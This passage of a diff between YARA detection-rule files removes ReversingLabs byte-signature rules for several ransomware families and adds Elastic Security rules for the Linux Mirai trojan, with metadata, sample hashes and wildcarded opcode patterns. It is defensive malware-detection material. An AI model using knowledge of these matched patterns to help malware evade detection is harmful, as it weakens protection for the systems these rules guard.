-            68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 8B F0 BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 35 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF D0 B9 ?? ?? ?? ?? 8D BD ??
-            ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? 50 66 A5 A4 E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD B8 ??
-            ?? ?? ?? 5F 5B 5E E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_files = {
-            53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF
-            B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89
-            9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9
-            ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
-            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ??
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15
-        }
+		$a = { 00 00 66 83 7C 24 54 FF 66 89 46 04 0F 85 CB }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_4E2246Fb : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "4e2246fb-5f9a-4dea-8041-51758920d0b9"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1601-L1619"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1f6bcdfc7d1c56228897cd7548266bb0b9a41b913be354036816643ac21b6f66"
+		logic_hash = "6d2e1300286751a5e1ae683e9aab2f59bfbb20d1cc18dcce89c06ecadf25a3e6"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "23b0cfabc2db26153c02a7dc81e2006b28bfc9667526185b2071b34d2fb073c4"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 00 00 B8 01 00 00 00 31 DB CD 80 EB FA 8D 8B 10 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_D5981806 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d5981806-0db8-4422-ad57-5d1c0f7464c3"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1621-L1639"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "784f2005853b5375efaf3995208e4611b81b8c52f67b6dc139fd9fec7b49d9dc"
+		logic_hash = "e625323543aa5c8374a179dfa51c3f5be1446459c45fa7c7a27ae383cf0f551b"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b0fd8632505252315ba551bb3680fa8dc51038be17609018bf9d92c3e1c43ede"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 3F 00 00 66 83 7C 24 38 FF 66 89 46 04 0F 85 EA }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostbin : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_C6055Dc9 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Ghostbin ransomware."
-		author = "ReversingLabs"
-		id = "4d576854-7a30-527d-9a7a-f22018183540"
-		date = "2021-09-06"
-		modified = "2021-09-06"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara#L1-L61"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3881e1c83ac2a31fdd8a081d3e6e6ea759771dbc183c3af9528930619bcddf9e"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "c6055dc9-316b-478d-9997-1dbf455cafcc"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1641-L1659"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1718d7fdeef886caa33951e75cbd9139467fa1724605fdf76c8cdb1ec20e024"
+		logic_hash = "4d9d7c44f0d3ae60275720ae5faf3c25c368aa6e7d9ab5ed706a30f9a7ffd3b8"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ghostbin"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b95f582edf2504089ddd29ef1a0daf30644b364f3d90ede413a2aa777c205070"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$setup_env = {
-            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C
-            08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 18 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16
-            28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 19 FE 01 08 6F ?? ?? ?? ?? 18 FE 01 60 2C ?? 08
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 17 D6 0B 07 06 8E 69 32 ?? 00 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 2C ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F ?? 16 28 ?? ?? ?? ?? 26 DE ?? 28 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? DE ?? 2A
-        }
-		$encrypt_files = {
-            73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 25 6F ?? ?? ?? ?? 25 06 28 ?? ?? ?? ?? 03 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 0C 6F ?? ?? ??
-            ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 0B 07 8E 69 17 59 1F ?? 58 17 58 8D ?? ?? ?? ?? 0D 08
-            09 1F ?? 28 ?? ?? ?? ?? 07 16 09 1F ?? 07 8E 69 28 ?? ?? ?? ?? 09 2A
-        }
-		$find_files = {
-            02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 16 0B
-            2B ?? 06 07 9A 0C 7E ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 08 28 ?? ?? ??
-            ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ??
-            ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? DE ?? 07 17 D6 0B
-            07 06 8E 69 32 ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ??
-            11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ??
-            DE ?? 2A
-        }
+		$a = { 83 7F 43 80 77 39 CF 7E 09 83 C8 FF 5A 5D 8A 0E }
 
 	condition:
-		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Farattack : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3B9675Fd : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects FarAttack ransomware."
-		author = "ReversingLabs"
-		id = "7ee7121a-4ca2-513c-96dc-53b5c48d719f"
-		date = "2022-06-21"
-		modified = "2022-06-21"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.FarAttack.yara#L1-L93"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "af22b8110c2b545f083b443c7a1fa7e7639324e9188eefadfe1fe70ebb1bb7fb"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3b9675fd-1fa1-4e15-9472-64cb93315d63"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1661-L1679"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4ec4bc88156bd51451fdaf0550c21c799c6adacbfc654c8ec634ebca3383bd66"
+		logic_hash = "61ff7cb8d664291de5cf0c82b80cf0f4001c41d3f02b7f4762f67eb8128df15d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "FarAttack"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "40a154bafa72c5aa0c085ac2b92b5777d1acecfd28d28b15c7229ba5c59435f2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ??
-            ?? ?? ?? 59 6A ?? 58 E9 ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 03 C7 89
-            45 ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? F7 06 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4E ??
-            51 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? F6 06 ?? 74 ?? 8B 45 ?? 8D 04 45 ?? ?? ?? ?? 50 8D 46 ??
-            50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 8B 53 ??
-            8B 75 ?? 8B 01 53 89 44 72 ?? 66 8B 41 ?? 8B CE 66 89 44 4A ?? FF 43 ?? 83 63 ?? ??
-            E8 ?? ?? ?? ?? FF 4B ?? 83 63 ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 83 7B ?? ?? 75 ?? FF 73
-            ?? FF 73 ?? FF 73 ?? FF 73 ?? 57 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C7 43
-            ?? ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ??
-            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D
-            04 45 ?? ?? ?? ?? 50 8D 46 ?? 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 7E ?? ?? 75 ?? 83 7E ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 8B 45 ?? 8D 34 00
-            8D 4E ?? 51 E8 ?? ?? ?? ?? 56 89 07 FF 73 ?? 50 E8 ?? ?? ?? ?? 8B 07 33 C9 83 C4 ??
-            66 89 0C 06 8B 75 ?? 51 57 51 8B 46 ?? 89 47 ?? 8B 46 ?? 89 47 ?? 8B 45 ?? 89 47 ??
-            FF 73 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 4B ?? A1 ?? ?? ?? ?? 89 44 79 ?? 66 A1 ?? ??
-            ?? ?? 66 89 44 79 ?? 56 FF 75 ?? FF 15
-        }
-		$create_key = {
-            55 8B EC 56 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 32 C0 EB ?? A1 ?? ?? ?? ?? 53
-            33 DB 85 C0 74 ?? 53 6A ?? 53 53 56 FF D0 EB ?? 8A C3 84 C0 75 ?? FF 15 ?? ?? ?? ??
-            3D ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 53 53 56 FF D0 8A D8 84
-            DB 75 ?? 56 E8 ?? ?? ?? ?? 59 32 C0 EB ?? 8B 4D ?? B0 ?? 89 71 ?? 5B 5E 5D C3
-        }
-		$encrypt_files_p1 = {
-            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83
-            FF ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 48 ?? 8B 40
-            ?? 83 C1 ?? 03 C1 8B 5D ?? 89 5D ?? 8B 4D ?? 89 4D ?? 99 03 D8 89 5D ?? 13 CA 89 4D
-            ?? 8B 55 ?? 8B 45 ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ??
-            ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? ?? C7 45 ?? ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 59 89 4D ?? 51
-            52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 4D ?? 6A ?? 53 51 6A ?? 6A ?? 57 FF 15 ??
-            ?? ?? ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 89 45 ?? 89 45 ?? 33 C9 8B C1 89 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? 89 45 ?? 89
-            45 ?? 89 4D ?? 8B 4D ?? FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50
-            FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 85 C0
-        }
-		$encrypt_files_p2 = {
-            75 ?? 89 55 ?? 21 45 ?? 8B CE 89 4D ?? 89 4D ?? EB ?? 8B 4D ?? 3B 4D ?? 0F 8D ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 85 C9 74 ?? 83 7D ?? ?? 74 ?? 8D 41 ?? 3B 45 ?? 74 ??
-            8B C1 99 FF 75 ?? FF 75 ?? 52 50 E8 ?? ?? ?? ?? 8B C8 89 45 ?? C7 45 ?? ?? ?? ?? ??
-            EB ?? 8B CA 81 E9 ?? ?? ?? ?? 89 4D ?? 8B 55 ?? 83 DA ?? 83 65 ?? ?? 89 55 ?? 6A ??
-            8B 45 ?? FF 70 ?? 52 51 E8 ?? ?? ?? ?? 6A ?? 8B 4D ?? FF 71 ?? 52 50 E8 ?? ?? ?? ??
-            8B C8 89 4D ?? 89 55 ?? 8B 45 ?? 2B C1 89 45 ?? 8B 4D ?? 1B CA 89 45 ?? 89 4D ?? EB
-            ?? 8B 55 ?? 8B C2 C1 F8 ?? FF 75 ?? FF 75 ?? 52 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
-            89 45 ?? 85 C0 75 ?? 50 FF 75 ?? FF 75 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ??
-            ?? ?? 8B 75 ?? 8B 7D ?? 83 4D ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45
-            ?? E8 ?? ?? ?? ?? C3 03 45 ?? 56 6A ?? 8D 4D ?? 51 50 FF 75 ?? 50 6A ?? 6A ?? 8D 85
-            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 45 ?? 40
-            89 45 ?? 3B 45 ?? 75 ?? 8B 75 ?? FF 76 ?? FF 76 ?? 8B 45 ?? 03 45 ?? 03 45 ?? 50 E8
-            ?? ?? ?? ?? FF 76 ?? FF 76 ?? 8B 46 ?? 03 45 ?? 03 45 ?? 03 45 ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8B 7E ?? 03 7E ?? 03 7D ?? 03 7D ?? 8B 45 ?? 03 F8 8D 75 ?? A5 A5 A5 A5 6A
-            ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 F6 46 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 4D
-            ?? 8B 55 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 8B 35 ?? ?? ?? ?? FF D6
-        }
+		$a = { 78 10 85 C9 75 65 48 8B 8C 24 A0 00 00 00 48 89 48 10 0F B6 4C }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($create_key) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Good : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_1C0D246D : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Good ransomware."
-		author = "ReversingLabs"
-		id = "e0f97200-7fe9-5811-b6cd-708ecc3a2fbc"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Good.yara#L1-L82"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6737853a77a6008f9fd2141bb6b13d595f1cb7e832be944596f709e1fcdf8003"
+		description = "Based off community provided sample"
+		author = "Elastic Security"
+		id = "1c0d246d-dc23-48d6-accb-1e1db1eba49b"
+		date = "2021-04-13"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1681-L1700"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "211cfe9d158c8a6840a53f2d1db2bf94ae689946fffb791eed3acceef7f0e3dd"
+		logic_hash = "7a101e6d2265e09eb6c8d0f1a2fe54c9aa353dfd8bd156926937f4aec86c3ef1"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Good"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b6b6991e016419b1ddf22822ce76401370471f852866f0da25c7b0f4bec530ee"
+		threat_name = "Linux.Trojan.Mirai"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D
-            85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E
-            5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85
-            C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8B 3D ?? ?? ??
-            ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ??
-            ?? ?? ?? ?? FF D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8B D8 83 FB ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            5F 5E 5B 8B E5 5D C3
-        }
-		$remote_connection = {
-            55 8B EC 53 8B 5D ?? 57 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 0F 8B
-            C1 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4F ?? 83 C4 ?? 8B C1 83 E8 ?? 74 ?? 83
-            E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ??
-            ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? 83 F8 ?? 77 ?? FF 24 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 83 7F ?? ?? 75 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF
-            77 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 FF 77 ?? 56 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 45 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 5E FF 77 ?? 53 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5B
-            5D C3
-        }
-		$encrypt_files = {
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B C8 8B F2 83 C4 ?? 2B CE 8D 71 ??
-            66 90 0F B7 0A 8D 52 ?? 66 89 4C 32 ?? 66 85 C9 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 8B 35 ?? ?? ?? ?? 47 89 7D ?? E9 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
